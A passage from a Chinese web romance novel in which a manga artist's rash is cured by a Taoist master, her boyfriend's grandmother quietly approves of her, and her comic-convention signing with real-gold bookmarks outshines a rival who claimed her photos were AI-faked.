老太太就问:“那你们家也种橘子么?” 合雨悠答:“也种,水果蔬菜都种。”她提到这些从不遮掩,“网上都有卖的,您给我个地址,我可以马上下单寄过去的,如果您爱吃这个的话。” 老太太笑了笑说:“你父母都在老家,你一个人在上海打拼觉得辛苦么?” 合雨悠轻轻摇头,她是从来只在乎当下感受的。现在唯一的感觉就是不想照镜子因为会害怕,也怕过几天这样出现在读者面前。至于过去的辛苦合雨悠很少会去回忆,如果说辛苦,耕地的牛不辛苦么?街上的环卫工和外卖员更辛苦。 她甚至一直认为自己是非常幸运的人,哪怕此时此刻。 秦老太太又问:“在外面会想家么?” 合雨悠说:“想的,但不是每天都想,我还有个哥哥,我们一家关系都很好。” 车到半途,天近黄昏,一层浅金色铺在沿途的田地上。山脚下的公路边零零散散坐着些老人,褪色的板凳、竹篮、旧扁担,摊子上堆着橘子、椪柑、柚子,果皮被余晖镀成亮金色。 秦老太太忽然说:“我想吃橘子。” 司机立刻靠边。老太太自己下车,弯腰挑了几个,问:“多少钱一斤?” 摊主报了句:“十块钱三斤。” 老太太“哦”了一声,没露出什么情绪,只转头问合雨悠:“小合,你觉得这个价怎么样?你知道行情的。” 合雨悠知道是贵了,椪柑不至于这个价,但她还是很温软地说:“那我们买十斤吧,路上吃一吃也挺好的。” 老太太看了她一眼,笑了一下。上车后,她才开口:“小合,你家那边椪柑,路边卖多少?” 合雨悠说:“一般十块五斤。” 老太太点点头:“那十块三斤,是贵了。” 合雨悠笑了笑:“是贵一点,不过没关系的。” 秦老太太又看她一眼,合雨悠就说:“我替甲方多画两笔就有了,但几块钱对他们来说就不一样了。挑着扁担在路边蹲一天……现在五月份还好,到了七八月,太阳晒得跟火一样;冬天又冷得手指都动不了。我们那边高速路也这样,其实都宰人,因为过路客不会回头,但我想宰这几块十块也没什么。” 秦老太太眼底更满意了,车到山上道观时已经很晚了,天色全暗,合雨悠对这个治病过程有些摸不着头脑,只看见一个耄耄之年的老道长在她面前点了一支烟,那烟没什么味道,就是寻常香火气,烟往她脸上吹,但并不呛人。 “回去喝一贴药,明天就好了。” 合雨悠点点头道谢,后面看见秦老太太和那个道长又聊了几句,把路上买的橘子留下了一大袋,这才跟着才出来。 他们上车的时候,在车后座焦虑地玩手机的小龚看见合雨悠的瞬间,便“咦”了一声:“盒子姐,你脸上的红疹下去了。” 合雨悠这辈子第一次遇到这么玄乎的事。 镜子里,她的脸真的好了大半,除了还剩一点红,几乎不见丘疹。 小龚“卧槽”了好几声:“太牛了吧这个医生,我没有跟你上去,这是活半仙了吧。” 晚上,合雨悠先后跟经纪人和凌湛聊完,得知她好得差不多了都松口气,凌湛跟她视频了二十分钟,似乎去接重要电话了,合雨悠这边就挂了。凌湛让她去睡。 随即电话里问他外婆:“您面试完了?我女朋友很漂亮吧。” 这孩子跟他妈一模一样,喜欢上谁根本藏不住。 外婆笑着说:“越看越漂亮,是个好姑娘。” 凌湛挑眉:“这么快看出来?” 外婆说:“她有点内向,不过知道尊重人,性格很软。长相都是其次,价值观心正更重要。” 凌湛外婆觉得凌湛这孩子性格有点邪气太重,本以为一个很温柔的姑娘和他不太合适,见了人感觉却是刚刚好,本来还想着要不要问下大师,两个孩子八字合不合,般不般配,结果拎着水果进去的时候,邰师傅就好像知道她要问什么一样,点了下头。 凌湛问完就说要挂了。 “您早点睡。”然后又去骚扰合雨悠了:“睡没有?” 合雨悠说没有。 “在酒店。” 合雨悠:“刚刚喝了药,我准备去洗个澡了,我都不敢洗脸。” 凌湛:“洗澡?那你开视频。” 合雨悠是死都不同意,从复合到现在,只要凌湛想拍照或者录像,合雨悠就会分析风险,然后拒绝。 纽扣要系到最上面一颗才能拍一张。 视频是可以视频,合雨悠是要穿好衣服的。 但凌湛是不会好好穿衣服的。 会故意问她要不要看,或想不想看,合雨悠只会回答:“我不要。” 凌湛就会拧眉,说她撒谎:“见面的时候你摸得可开心了。” 合雨悠:“那是你主动拿着我手摸的。” “是是是,吃也是我逼你吃进去的,夹我腰也我逼的,我主动的。老公也是我逼你喊的。” 合雨悠:“凌湛!!!啊啊啊。” “土拨鼠,怎么了?”凌湛在视频里偏着头,整个人像是懒洋洋靠在酒店的软榻上。灯光落在他脸上,把他深眼窝的阴影压得柔了些,鼻梁挺直,唇线干净,发尾因为刚洗完澡有一点乱。 “脸好完了么?” “差不多了,你看得出来么?” 凌湛“唔”了一声:“看不出来,我老婆一直都很漂亮。” 然后凌湛就看见合雨悠的脸出离镜头,可能跑旁边捂脸了吧。他嘴唇一弯,舌尖抵着齿关:“这么喊你就受不了啊,妹妹。” “嗯……”合雨悠转移话题。“那个老太太是你亲戚么?” “是啊,”凌湛也侧过身,手臂枕在脑后,角度一变,清晰的锁骨从睡衣领口里露出,隐约可见内里胸肌轮廓,凌湛说:“我外婆。她也很漂亮吧?” 合雨悠:“?” 两秒后—— “什么???” 又两秒后—— “啊啊啊你怎么不告诉我??” 合雨悠:“我以为只是你在这边山里的线人之类的!!!” “线人什么线人,你最近在看警匪片吗。”凌湛理所当然,“告诉你干什么。” 合雨悠:“那那那……那是你外婆!?那我是不是很失礼!她是不是觉得我——” “土拨鼠。” 凌湛把手机往前移了点,合雨悠能看清他那双不紧不慢、带点戏谑的桃花眼。 “我外婆雷土拨鼠。” 合雨悠:“……” 凌湛像哄小孩似的:“放心吧宝宝,她对你很满意,很喜欢你。” 她有点僵硬:“……你怎么知道?” “她刚刚夸你。”凌湛说,“说你长得好,看着可爱漂亮,懂事又礼貌,我们金童玉女天生一对。” “……”合雨悠,“是你说的吧。” 凌湛:“她反正那么说了。” 又道:“你就装作不知道吧,免得你尴尬。回头见家长的时候再说。” 合雨悠第二天就飞回上海了。 喝完药之后,她皮肤完好无损,说是肤若凝脂吹弹可破也不为过。小龚惊叹个没完,儿童节当天,上午七点合雨悠就起来了,今天一天的流程她都十分清楚,先去一个房子里拍出门镜头,再去化妆师那里化个妆,在下午两点的时候抵达现场。 但是吧…… 怎么没人告诉她。 车是一辆劳斯莱斯。 房子是传说中的租界洋房。 合雨悠问叶铭:“这不好吧叶总,我又不可能买得起这里的房子,你干嘛要让我在里面拍。” “让你拍你就拍,房子是我的。” 合雨悠:“啊?” 叶铭:“我前妻的。我离婚后都给她了,我用一下怎么了?你住进去也没事儿。” 合雨悠:“啊?” 叶铭:“别啊了,快工作,衣柜里的衣服都是我提前找人换进去的,你按照流程拍个拆箱视频。那是你今天要穿的衣服,昨天才从法国空运回来的高级定制礼服。” 合雨悠:“啊?” 叶铭:“啊?” 叶铭无语道:“你啊什么啊,挂了。礼服是凌湛给你选的,你之前量的记得吧。确实是前几天空运到的。” 合雨悠进屋就失神了,这房子美得不像话,一推门就是高挑落地窗,整面玻璃将午后的淡金色光线引进来,像薄薄的蜂蜜被轻轻倒进空气里,亮而不刺眼。客厅的家具偏极简,奶白为主,几株绿植长得郁郁葱葱。 合雨悠惊叹于这审美,剩下的摄像也就位,合雨悠熟悉了一下房子就开始拍摄。 好在她经过培训,上镜现在不害怕了,面对摄像机也表情自然。 卧室比客厅更温暖一些,缅甸柚木地板呈现出温润的红。床铺整齐,床头摆着一个香薰灯。衣帽间的灯自动亮起时,合雨悠的“家产”就展露在镜头下。 都不是她的。 可她得让人认为是她的。 她问过叶铭这不会翻车吗:“我根本就不可能买得起这里的房子,以及这堆衣服。” 叶铭说:“房子你说是租的,衣服就别提了,让人扒去吧。你现在买不起而已,谁知道以后呢。” 衣帽间正中央放着一个精致的长方形礼服盒, 合雨悠坐下,用敬业语调开始录制拆箱。 “今天是我第一次参加漫展的签售……然后这是我今天特意准备的礼服,嗯……拆给大家看一下。” 她小心地打开丝带,掀开盖子。 礼服静静躺着,像一小片从月光里剪下来的布。 是一件浅雾蓝的订制裙,肩线干净,领口微微收成弧,腰部有一点点收褶,裙摆是柔软下垂的落地款,走动时会像水一样轻轻摇。面料是哑光丝绸,没有闪片,也没有夸张的大拖尾,可越是极简越显得贵。灯光下那种若有若无的光泽,让她整个人显得更瘦更白。 合雨悠素颜穿上后,又脱下,赶紧拉着摄影师和助理一起奔向下一个地点。 然后拍了拍她今天坐的劳斯莱斯。 不是租的。 叶铭说是前妻的。 但是合雨悠要坐,她今年都可以随便使用。 车上,合雨悠介绍:“然后呢,这是一个装我今天要用的笔和贴纸的盒子。” 镜头扫过去。 她说:“我们马上就要出发去化妆啦。” 镜头关闭。 合雨悠叹息,肩膀也松懈下来。 原来当自媒体博主这么累,她从来没有过靠脸吃饭的想法,才知道就这样拍视频,不比上班轻松。 上午十点半,合雨悠穿着白T恤素颜抵达化妆师的工作室。 暖白色灯光打在镜子周围,一位穿着宽松黑T的化妆师正在整理刷具:“Hello盒子,哇你素颜状态好好,大学生吗?” 国内短视频平台上动不动几十万点赞的顶级老师。 合雨悠知道是这个化妆师也很震惊,问叶铭怎么请来的:“我就一在家里画画的,我又不是明星。” 叶铭倒是很淡定:“置换啊,我答应让凌湛来他工作室化妆,所以咯。” 合雨悠:“他同意了?” 叶铭以为她说化妆师:“他有什么不同意的?” 合雨悠说的是凌湛:“可是上次你让我劝他接什么广告、综艺,他全部拒绝了啊。” 那天合雨悠按照叶铭的意思,把资料发给凌湛,问他:“你有没有喜欢的工作?” 凌湛扫一眼:“这什么?” “我不接综艺。”他丢掉一份资料。 “我不接偶像剧。”他又丢掉一份。 “我不接化妆品代言。”丢掉最后一份。 合雨悠耷拉脸:“可是铭哥说你答应接一个他就给我七位数红包。” “七位数你就来哄我?”凌湛拧她脸颊,“那我给你好了。卡号给我我转你。” 合雨悠:“我不要!!” 合雨悠说:“我赚钱要取之有道。” 凌湛不可思议:“叶铭让你喊我接活,给你发红包,你管这个叫取之有道?”羊毛出在羊身上。 合雨悠说当然啊:“我付出了时间,精力,我要哄你,我要用一颗真心。我付出劳动了。” 凌湛还是低头瞅着她:“怎么哄我了?” 合雨悠凑过去飞快亲他:“这样。” 又亲另一边:“这样。” 凌湛嘴角不由自主地高高扬起:“主动很好,但我不接。” 就是他这样什么都不接的人,居然接了个来化妆的工作。还没钱赚。 合雨悠不可思议,但心里很清楚原因。 这个化妆师在业内的地位,不需要介绍名字,只要提一句“是他化的”,平台都会自动往上推资源。 属于国际时装周后台都要提前半年预约、许多大花小花抢着排队的小众顶流,一年只亲自出手几次,大部分时间都在做他个人品牌。 他愿意给谁化妆,本身就是一种稀有的背书。 所以合雨悠这次坐上他的化妆椅,不仅是待遇好,而是被直接推上了一个行业的隐形梯子。 更关键的是,这位大师竟然愿意配合录视频。 圈内甚至有句玩笑:能让行业神话愿意化一次妆,至少顶一个二线艺人半年曝光。 合雨悠坐在化妆凳上,无意识地在聊天,心里想: “我就一宅家里画画的。” “我要被骂资源咖了。” “原来被人托举不需要思考未卜的前程是这样的感觉。” 化妆时间接近三小时,合雨悠匆匆换上裙子钻进劳斯莱斯,摄影师跟着追她在体育场下车的镜头,路人回头:“卧槽,那谁?” “有女明星来漫展了吗?”—— 作者有话说:[三花猫头]感谢追文~今天特特特长,评论区也发红包~ 第64章 今天的漫展人多得有些不同以往。 人多得有点像往年七月份的CP,上午开始无尽头的排队,抬头一看大屏,居然是漫画家“小河向西流”下午两点开始的大舞台签售会照片。 还好合雨悠本人没看见,不然她会感到社死的。 那照片实在颇为显眼,又美得惊人,于是队伍里大家就开始兴致勃勃地议论。 “卧槽这颜值当明星也可以吧,这种类型在日本不知道会多火,居然是个漫画家?” “那我两点半看完表演要去瞅瞅!” “我去,《死亡逆流》居然是她画的?!我高中老喜欢这部漫画了每天追,画手居然这么美?!” “你们没吃瓜啊这画手是个照骗,被她基友不小心在网上说出来了,说照片都是AI做的其实本人丑得要死,估计不是真的露脸签售的。” “之前不也有过一个网络歌手吗,其实是个胖子,每次出来开演唱会又特别瘦,蒙着脸假唱。” “说不定这个西流会找个美女替身呢。” “人家要签绘耶,不容易替身吧,签绘和签名可不一样。” 还有人举着手机在直播:“家人们我已抵达战场,今天人挺多的,现在还在排队,等会儿进去估计要先排队买书,画手西流两点到场开始签售,今无忧一点半到场,收藏关注直播间,我第一时间带大家打假!” 与此同时,今无忧在舞台后临时搭建的休息室和自己的编辑面对面商量:“他们排队前两百书都免费,好像购买两册前一千还送个隐藏书签,现在已经好多人去排队了,那我们也送,送色纸!购两本书送色纸+明信片,前三百到场都免费赠书一本。反正我有很多单行本,送一本最便宜的给读者。” 今无忧实在难以理解:“她明明没我粉丝多,为什么有那么多广告,是签了什么营销公司吗?” 编辑说:“你俩不是基友吗,之前这些都没告诉过你吗?西流和平台解约都半年了,花了天价解约费,估计是签MCN了。” 今无忧就说:“其实也只见过一次而已,她真的不漂亮,可能治好痘痘了?那张照片根本不像她啊!我就是太心直口快了,才被网友黑。明明她自己说的她是高P,又不是我臆想的,为什么要喷我,网友见到她就懂了啊我根本没说谎。” 编辑一边看手机一边说:“我看网友说有个蒙面歌手,出来演出和活动就找身材很瘦很白的替身,网上直播还是她本人,他们该不会也这样操作吧。” 今无忧:“不一定……但我加了西流好几年了,都没见过她朋友圈发照片,她要是那么漂亮肯定早就发了啊,这怎么藏得住。宣传照片本来就是假的,搞不好真的找替身。西流在全网都找不到本人照片的,” 很快,时间来到了一点二十。 主持人在台上道:“欢迎今无忧老师来到我们大舞台——今天为大家带来的是她的签售会活动!” 在主持人说话的时候,今无忧被她的编辑领到了舞台侧面,排在前列的读者其实一眼就能看见她。 议论纷纷:“挺可爱的啊,和照片差不多,好像比照片可爱点,照片有点非主流。” “这就是那绿茶姐吗?背刺好基友?就这样?” 随即,今无忧踩着小碎步上台了。 她本人比镜头里更“萌”一点,不高,差不多一米五五,穿着过膝袜和厚底靴,软软的齐刘海将额头盖住一半,脸圆圆的,化着厚厚的底妆;穿着洛丽塔小裙子,蕾丝堆在她身上,胸前还别着一只巨大的蝴蝶结。 可爱夹子音:“大家好,我是今无忧。” 亮相瞬间,台下一小片粉丝尖叫了一下。 但很快,尖叫声被另一种窃窃私语淹没。 “来了来了,这就是今无忧……” “哇大眼睛。” “她也不是很高P嘛,和照片差不太多。妆有点厚而已。” 直播的路人已经举高了自拍杆进行拍摄,今无忧只能努力不做大表情,保持微笑入座。线下活动她也去过很多次,颜值没有翻过车。 主持人继续道:“提醒大家一下,前三百位购书的读者都可以免费领取出版社准备的小单行本一本!另外——购满两册的读者将获得今无忧老师亲自签名的色纸,以及限量明信片一套!数量有限,送完即止!另外,本次签售可拍照可互动,上台后还可以参与抽奖,有惊喜小礼物赠送哦!” 话音落下,工作人员开始把最后一波读者引导到位置上。 而台下的讨论声反而更活跃了: “无忧的福利好猛啊……但西流那边活动好像也不错。很多人在排队呢。” “得了吧买两本才送个隐藏书签,这边都送色纸和明信片了。” “而且无忧三百本都免费送单行本了。无忧太大方了。” “我本来先来无忧这边拿赠书,等会转场过去看西流,我真的好想看看‘AI照骗本尊’。” “哈哈哈大家都去看真假,今天感觉两个签售会不是在比人气,是在比到底谁会翻车。” “现在看来今无忧没翻车。和照片差不多啦。” “可是……你们不觉得西流那个照片是真好看吗?” “靠,你信啊?今无忧聊天记录不都说了吗,是AI做的啊。” “等到时候她本人上来就知道了。” 有人举着直播手机兴奋道: “家人们无忧已经上台,远看是萌妹,现在就等两点西流那场了,我一定给你们直播到她真人长什么样!到底是不是AI,咱们今天给她验货!” 弹幕刷得飞快: 【必须验】 【打假第一现场】 【别真派替身就尴尬了】 【听说今无忧和她不对付】 【西流是仙女照我不信,本人肯定翻车,真这么美怎么会现在才营销美貌】 今无忧坐下开始签书,微微扬起下巴,维持着自信的笑。 她显然没有意识到台下的气氛已悄悄变成—— 所有人都在等对面舞台两点钟“美人本人”是否出现,而不是看她这个真正坐在台上的人。 排队的人买了书,拿下赠品,不时扭头看另一边大舞台的屏幕。工作人员已经提前调试好设备。 下一场—— “小河向西流见面签售” 正在缓慢点亮。 屏幕开始倒计时。 还有十分钟西流就要上台了。 最显眼的还是她的艺术照。 今无忧也在分神望过去。 直到那边的女主持开始说话:“欢迎来到小河向西流的签售会,购买两本的宝宝在上台的时候可以凭借小票领取我们的隐藏书签哦。小声提醒。前两百位排队的读者都可额外赠送我们的泰版漫画单行本。另外还有作者大大的手作小礼物哦!” 今无忧的读者张望道:“那边福利也不错啊。” “得了吧,什么书签,不值钱。两本漫画加起来也要八十了吧。我还是喜欢满天星色纸,这多实在。” 排在今无忧面前的一位女生一边拿着她签好的书,一边踮脚:“还有七分钟,她真的会上台吗?不会戴口罩吧?” 今无忧自然也听见了。 另一人立刻道:“我就等翻车的,那照片也太仙了,不可能本人更好看。长那样为什么不当网红,早就可以靠颜值吃饭了好吧。” 直播间那边更夸张: 【姐妹们准备,倒计时!】 【我一定要拍到她进场瞬间】 【照片那么假,本人肯定没那么瘦】 【真人不敢露的八成又避嫌装腼腆】 【求翻车!求翻车!求翻车!】 今无忧侧耳听着,心底有一种难言的怪异感。那些原本该是属于她的热闹、目光、尖叫,今天全部被挪走了,像一条暗河奔向另一个舞台。 她顺着视线望过去。 对面的舞台工作人员已经撤走遮挡板,灯光试亮了几次。主持人在调试麦克风,一切准备就绪。 热度正在从她的脚下往外流失。 “都在等她。”今无忧无声咬了咬嘴唇。 这世上永远不缺看热闹和八卦的人,叶铭在远程看直播,扭头一看凌湛在举报弹幕。 叶铭:“?” 叶铭:“你举报得过来吗?” 凌湛皱着眉表情不善:“我要把直播间举报掉,都去死。” 叶铭:“别啊!你得让他们看见你女朋友多漂亮,就不会骂她了。” 凌湛扭头:“这不会是你想出来的营销新招吧?” 叶铭:“怎么可能?我又不认识那个今无忧,那不是合雨悠的好朋友吗,她被人家背刺管我什么事。” “时间到了到了,你老婆在准备上台了!” 直播间的镜头只能拍到一个远景。 凌湛拿过手机,看见合雨悠穿着高定的裙子和十厘米高跟鞋,非常朦胧,但依稀感觉是个大美女。 叶铭吹口哨:“她状态不错啊,大师真神了。” 凌湛:“关大师屁事,她本来就长这么漂亮。” 两点整,灯光亮起。 签售大舞台上忽然传来一阵尖叫,像一道利浪从观众席劈开。 “我靠!!!” “她来了!!!” “这是真的本人??” “卧槽是美女!!!” 而那些尖叫,不是普通的“哇”,而是压不住、忍不住、难以置信的情绪爆炸。 今无忧愣住,笔尖在封面上顿了一瞬。 她还没看见人,但她听得见那种尖叫,那绝对不可能是看见丑人尖叫,绝对是见到很意外的美女时才会出现的尖叫。 编辑正给她递水的手停住,耳机里传来工作人员急促的声音。 她蹲身凑到今无忧耳边,小声提醒:“无忧,工作人员说,西流本人上台了。” “嗯?”今无忧强撑着镇定。 “他说……她本人比照片还好看。” 今无忧握着签字笔的手明显颤了一下,墨迹在书页上抖出一条抖线。 “不可能。” 编辑轻声:“我看脸色……是真的。” 今无忧低头咬唇。 编辑:“你确定她本人丑吗?那她肯定找替身了。”她朝那边眺望去,也非常好奇西流到底什么样。 屏幕上出现西流的实时录像。合雨悠穿着定制礼服,肤色在灯光下像拂过露水的白桃,发尾轻卷,眼睛又亮又澄净,像两颗琥珀玉。 她知道可能很多人都在等翻车,但在踏上台阶那一秒,紧张被她压到身体最深处。 合雨悠呼了一口气,抬头,冲着台下的读者微微弯眼笑。 台下:“我草好甜!” “啊啊啊啊啊啊啊啊啊!” 合雨悠拿着话筒弯腰:“大家好,我是画漫画的小河向西流。非常开心今天和大家见面。” 就这一句,全场炸了。 “啊啊啊啊啊啊好漂亮!!!” “她怎么这么温柔!!!” “我靠比照片还美!!!” “这是真人?真的是本人??” “完了我恋爱了!” “她笑得好甜啊!!!!” 几十部手机同时举起,闪光灯连成一片。 主持人见势赶紧提醒:“大家可以拍照,但请有序排队上台,不要推搡哦!” 但尖叫声依旧压不住。 今无忧慌乱了。 而台下,有她的读者忍不住惊叹: “西流根本不需要替身啊……” “我靠,原来她是真的仙女本人。” 今无忧脸色彻底白了。 而合雨悠看见这些反应,心里稍稍定了定,又涌上一股不自觉的热流,让她几乎想落泪。因为长时间以来她在网上都非常沉默,只画画,不太和读者深入交流。 原来都是这么年轻的女孩子。 还有男生。 她坐在桌子后面打开笔袋,这些笔都是她精挑细选的,她其实提前很久就在做准备了,设计了十几款不同的签绘和印章。她对赠送方案也完全没异议,虽然是为了赚钱,但其实这种赠送方案只会让她亏钱,至于隐藏书签,合雨悠也只见过设计图。 是她的漫画主角,右上角有个金色的镂空五角星,合雨悠觉得那个五角星有点土……但最后好像也没改设计。 签售正式开始,队伍流动得比工作人员预估的慢一点,合雨悠会从小盒子里拿一枚手作石塑粘土小鼻嘎松读者,这些全是她亲手捏的,比较简单,比如一颗黄色小星星,或者粉色爱心,白色云朵之类的。 单都很可爱。 购买了两本的读者纷纷从另一侧领取所谓的“隐藏书签”。 书签由工作人员从礼盒中取出,装在丝绒镂空小袋里。 一位女生打开袋子那刻,突然愣住。 “我靠……这是金属的?不是纸?” 旁边的朋友凑过来:“什么金属啊?我看看。” 女生把书签一翻。 印着检测证书的透明贴纸在光下闪了一下。 【Au999足金0.31g】 卡片标注内里镶嵌镂空五角星为真金,背刻签名设计,而四周则是漫画女主角半身。 ——然后她尖叫了。 “啊啊啊啊啊啊啊!!真金!!这是真金!!!” 周围的人猛地往这边看。 “什么???真金书签???” “我草你别乱说!!” “有证书……真的是金的啊!!” “卧槽西流是疯了吗!合金都贵成这样了她直接给金的?!” “你好,你们这是真金书签?”有人直接问发书签的工作人员。 工作人员一边盖章,一边解释:“是的,五角星部分为镶嵌真金,四周都是合金哒!” “卧槽?!” 那五角星在灯光下像是真的落在掌心的星星,轻轻一晃,闪得刺眼。 全场炸开。 “我草西流也太大方了吧?!” “不到八十块钱的两本书送金书签???我赚翻了吧?!” “我靠我靠我靠这价钱绝对血亏啊!!!” 听见消息粉丝们已经疯狂冲向另一侧排队区补购:“早知道刚刚直接买两本了啊!!他妈的谁送真金啊真是菩萨啊。” 工作人员快要喊破嗓子维持秩序:“书签今日限量五百枚,大家不要拥挤。小心排队!” 合雨悠听见骚动,抬头看了一眼,眼神里满是茫然。 她没听清楚,继续低头专注地和读者交流。 一位女生手里捧着书,整个人激动得不行:“西流老师我是柏宇!你记得我吗?” 这个ID像被一把钥匙插进记忆深处。 合雨悠瞬间愣住:“我记得你。” 她是真的记得。 每条留言、每个常驻评论区的头像,她都记着。她认真地看,发现对方年龄比她想象的小。 柏宇眼眶一下红了:“我第一本漫画就开始看了。以前我们有个粉丝群……后来解散了……说真的特别可惜。我一直想见你。” 合雨悠的喉咙突然发紧,眼眶湿了一圈,开始泛红。 “对不起……”她轻轻道,“前两年我状态不好,也没画出满意的,很多事……没处理好,抱歉。” 柏宇急道:“不要哭啦!西流大大,我真的特别喜欢你的作品,你的故事陪了我好多年。你真的特别有灵气!!” 温度一下子涌上来,合雨悠闭了闭眼,轻声说:“谢谢你。我见到你也……真的很开心。是开心。” 眼角不自觉滑下一滴泪。她抿唇垂首用手背去擦。 而站在柏宇身后,那位原本只是来“验货”的直播男刚好拍到这一幕。 镜头里,西流穿着淡色礼服,睫毛湿湿地垂着,侧脸柔软得像一幅水彩画。然而笑着说:“我见到你也特别开心,也希望你可以天天开心。” 直播男看得惊呆了,感叹:“家人们……仙女落泪了……好漂亮,我草,比镜头里还美。” 直播间瞬间打满弹幕: 【妈呀她哭着也好美】 【这皮肤什么质感?镜头怼这么近都看不见毛孔】 【这睫毛好软好长……】 【仙女……真仙女……】 【我靠我恋爱了】 直播男继续拍着,越拍越心动:“我不是粉丝啊……但她真的很漂亮。而且她签得特别认真。” 很快轮到他了,他把摄像头别在衣领,合雨悠注意到了,但态度没有发生变化,问他想用什么颜色的笔、什么颜色的印章。她对每个上台的人都是如此,没有区别对待。 他红着脸说:“随便什么颜色都好。” 合雨悠抬首,眼尾还泛着水光:“这个蓝色行不行?你衣服是蓝色的。” 他:“可以可以!” 他拿着书离开,又回头,然后看着镜头说:“我说随便,她还认真挑了个蓝色的……她真的太可爱了吧。” 他下台后,忍不住喃喃:“真的是大美女……皮肤毫无瑕疵那种。” 然后他突然想到什么:“我马上去看看那个今无忧……听说也是美女?” ——弹幕直接嘲笑炸裂: 【哥你别去为难人家】 【刚从另一个直播间过来的,差远了】 【妆里夹粉,厚得跟墙皮一样】 【别比了,今天就是西流吊打一切】 【为什么恶意这么大啊,都是女生。】 【楼上不知道今无忧干了什么吧?背刺好基友哦,假装不经意发微博说人家西流是AI换脸照片,我觉得西流就是纯谦虚,真美女说自己高P,被她当真了还故意拿出来黑基友。谁粉这种人啊?】 【真的,今无忧不会还有粉丝吧?都塌房了!!】 直播男刚走两步,就听见旁边有人吼: “卧槽!!!!这真的是真金的!!!” “你们这也太大方了吧!!” “纯金书签啊啊啊啊啊啊啊!!!” 直播男举起镜头冲过去,询问几句,道:“家人们!!!西流两本书送真金书签!!!” 弹幕瞬间:【什么????】 【?????】 【真的假的???】 【我草这成本得多少】 【你们这活动疯了吧?!】 【西流太宠粉了】 直播男后悔得捶胸:“我怎么只买了一本书啊!!卧槽我现在再去排队来得及吗!!!” 【这活动还有吗?我现在飞速赶来!!我就在上海啊啊啊原来嫌弃萤火虫门票贵,怎么还有这种好事啊,也不提前说……】 【提前说的话排队的还能是真粉丝吗?我觉得这样挺好的】 直播男继续说:“问了,说今天限量五百枚,明天还有五百枚赠送的。我明天还来。” “这就是纯金书签,”直播男问一个路人小姐姐借了一张拍照,“我先去排队,我怕晚了大家都知道了就没了。这个书签你们看设计也很漂亮,这个五角星是纯金,其他为合金,五角星是0.3g,按照现在金价加上工费至少价值四百块啊!!” “而且还送一本泰版单行本??那本成本都五十多了吧?这加起来不得五百块豪礼?!” “还给了我她自己做的粘土小土星呢!” 旁边拿到书签的小姐姐尖叫: “她赔钱赔疯了吧?!” “这次签售她是来做慈善的吗!!?” “天哪我赚翻了!!!” “我要粉西流一辈子啊啊啊!” 连旁边今无忧台前的读者都忍不住看过来: “……我怎么感觉我在这边亏了啊。” “我操人家送金,我这边送衣服图案色纸,瞬间不香了!!” 今无忧脸都绿了,觉得西流是不是疯了,为了吸引人排队不择手段了。 很多在她这里排队的读者扭头就走了。 合雨悠后面隐约也听见议论了,也非常茫然,中途休息喝水,才问了句:“你们做的书签是纯金啊吗?我怎么不知道。这得多少了啊。” 叶铭说:“凌湛出的钱。” 叶铭又道:“我们提前没告诉你,我俩商量的方案,提前好几个月就设计好了。惊喜吗?” 凌湛的帅脸一瞬间偏过来出现在合雨悠的屏幕里,墨发微微一晃。 凌湛挤开叶铭说:“你跟我说你的读者人都很好,送点金子怎么了,没多少钱。” 合雨悠是提过。因为她之前状态不好,被造谣后有很多不明真相的路人黑她。加上她自己画不出来,就更卑微。 但她的粉丝都很友好地鼓励她,而她因为心态不好,有点抑郁了,居然解散了读者群。 合雨悠对此非常愧疚。 她其实觉得自己做得很不好。 叶铭又挤回来:“盒子哟,怎么又哭了。” 凌湛心疼地出声:“悠悠,你解散的群我让叶铭帮你联系到了群主,挨个找到了群员,又组了新群,不过上海本地的少。今天好像只来了几十个。” 叶铭插嘴:“放心吧群里一千个人,你助理已经登记了很多地址,公司都会寄书签的。你老公不差这点钱闺女。” 凌湛踹他一脚:“你喊她闺女那你想当我爹?” 合雨悠吸吸鼻子,她想她现在可能需要化妆师小姐姐给她补妆了。 凌湛点了点屏幕:“小哭包,最爱哭鼻子。” 合雨悠眼圈绯红:“我忍不住。以及,你知道我不爱哭的。” 凌湛把手机从叶铭那里拿过去了:“我都回来了,等你签完回来床上哭不好吗?” 他知道合雨悠平常不哭,除非太用力了忍不住—— 作者有话说:[让我康康]感谢追文!!都发红包~ 第65章 那天合雨悠一直签到晚上八点半,漫展主办方的保安来第二次提醒。 合雨悠仍然坚持快速签完了才撤,提着礼服裙往后台走,脚弓一阵阵发麻,腕骨像被磨秃了,肌腱炎隐隐地又犯了,右手几乎抬不起来。 而此时的今无忧,五点那会儿就已经没读者排队了。 是西流那边人太多了,团队中止排队了,才有读者磨蹭地回来排今无忧的签售队伍。 尽管如此她还是敬业地签完了下台。 但今无忧没有回酒店,甚至没有离开舞台区域,只是闷在后面临时搭的更衣休息区,一张电脑椅,旁边摆着一摞要抽奖送粉丝的周边周边,她整个人窝在那儿刷手机。 热搜词条不断跳动: 【小河向西流漫展现场】 【纯金书签赠送!!】 【真人超越艺术照】 【仙女画手超美】 【死亡逆流作者本人比照片还美】 连那个传说出场费近百万的名Coser都被压了热度,她们的主题标签愣是被西流顶下去。 更要命的是,所有人都在晒书签。 晒To签绘照片。 营销号还在发专业摄影团队捕捉的精致现场照和视频。 路人震惊发言: 【这是内娱新来的明星吗?不认识啊,什么时候上新的,这什么活动?】 【楼上……她是个画恐怖漫画的……《死亡逆流》知道吧】 【??原来是她?看封面点进来以为桥本环奈回春了】 今无忧咬着下唇往下滑评论。 关于她自己的讨论也有,但几乎没什么好话。 尤其她那句“我和我基友都是高P”被人翻来覆去地盘,大家在讨论现实中遇到她这种贱人应该怎么办,她只好举报这个帖子。 编辑坐在对面,一边刷新一边看她:“你确定今天那个不是替身?我看了眼太漂亮了吧,我现在看到有网友说是替身什么的……这个上海IP的被人说是你小号自导自演。” “不是我!”她激动地否认,语气烦躁,“我下午忙得要死哪来的时间发小号?……也许是有人讨厌她吧。她作为当年的新人王……得罪的人比我多得多。为了抢榜单无形之中都会得罪很多人,她霸榜了一两年,恨她的人多了去。” 确实不是她。 但她中途用小号是点了几个赞。 她还是提不起勇气去看那些照片。 太刺眼,美得很不真实。从每一个角度都无法挑错,温柔漂亮,闪着光,什么美瞳才能有这么好看的眼睛,那不是P图能做到的,是活生生的人,真的是明星级别的。让她不禁产生错觉和怀疑,她见过的那个戴口罩不自信的西流,是照片里这个西流吗? 等了许久,听说小河向西流那边已经签完,人潮散得差不多了,今无忧才深吸了口气,推开休息室的门。 一推开,正好撞见提着裙摆、被助理半扶着下台的合雨悠。 她好像有点体力不支,一瘸一拐的。 